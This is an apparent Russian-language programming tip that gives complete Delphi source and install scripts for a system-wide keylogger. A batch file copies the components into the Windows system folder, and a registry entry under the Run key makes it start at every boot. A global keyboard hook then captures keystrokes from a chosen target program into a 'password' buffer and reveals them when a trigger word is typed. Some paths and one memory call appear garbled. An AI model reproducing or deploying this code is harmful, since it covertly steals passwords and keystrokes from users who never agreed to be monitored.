Как отловить нажатия клавиш для всех процессов в системе

• Setup.bat

@echo
 off
copy
 HookAgnt.dll %windir%system
copy
 kbdhook.exe %windir%system
start
 HookAgnt.reg

• HookAgnt.reg

REGEDIT4

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"kbdhook"="kbdhook.exe"

• KbdHook.dpr

program cwbhook;

uses
  Windows, Dialogs;

var
  hinstDLL: HINST;
  hkprcKeyboard: TFNHookProc;
  msg: TMsg;

begin
  hinstDLL := LoadLibrary('HookAgnt.dll');
  hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
  SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
  repeat
  until
    not GetMessage(msg, 0, 0, 0);
end.

• HookAgnt.dpr

library HookAgent;

uses
  Windows, KeyboardHook in 'KeyboardHook.pas';

exports
  KeyboardProc;

var
  hFileMappingObject: THandle;
  fInit: Boolean;

{----------------------------
| |
| DLL_PROCESS_DETACH |
| |
----------------------------}

procedure DLLMain(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
  begin
    UnmapViewOfFile(lpvMem);
    CloseHandle(hFileMappingObject);
  end;
end;

{----------------------------
| |
| DLL_PROCESS_ATTACH |
| |
----------------------------}

begin
  DLLProc := @DLLMain;

  hFileMappingObject := CreateFileMapping(
  THandle($FFFFFFFF), // use paging file
  nil, // no security attributes
  PAGE_READWRITE, // read/write access
  0, // size: high 32 bits
  4096, // size: low 32 bits
  'HookAgentShareMem' // name of map object
  );

  if hFileMappingObject = INVALID_HANDLE_VALUE then
  begin
    ExitCode := 1;
    Exit;
  end;

  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

  lpvMem := MapViewOfFile(
  hFileMappingObject, // object to map view of
  FILE_MAP_WRITE, // read/write access
  0, // high offset: map from
  0, // low offset: beginning
  0 // default: map entire file
  );

  if lpvMem = nil then
  begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;

  if fInit then
    FillChar(lpvMem, PASSWORDSIZE, #0);

end.

• KeyboardHook.pas

unit KeyboardHook;

interface

uses
  Windows;

const
  PASSWORDSIZE = 16;

var
  g_hhk: HHOOK;
  g_szKeyword: array[0..PASSWORDSIZE-1] of char;
  lpvMem: Pointer;

  function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT; stdcall;

implementation

uses
  SysUtils, Dialogs;

  function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT;

var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;

begin
  lpszPassword := PChar(lpvMem);

  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

    if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
      lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

    lstrcat(g_szKeyword, szKeyName);

    GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and
    (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
      lstrcat(lpszPassword, szKeyName);

    if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
    begin
      ShowMessage(lpszPassword);
      g_szKeyword[0] := #0;
    end;

    Result := 0;
  end
  else
    Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;

end.

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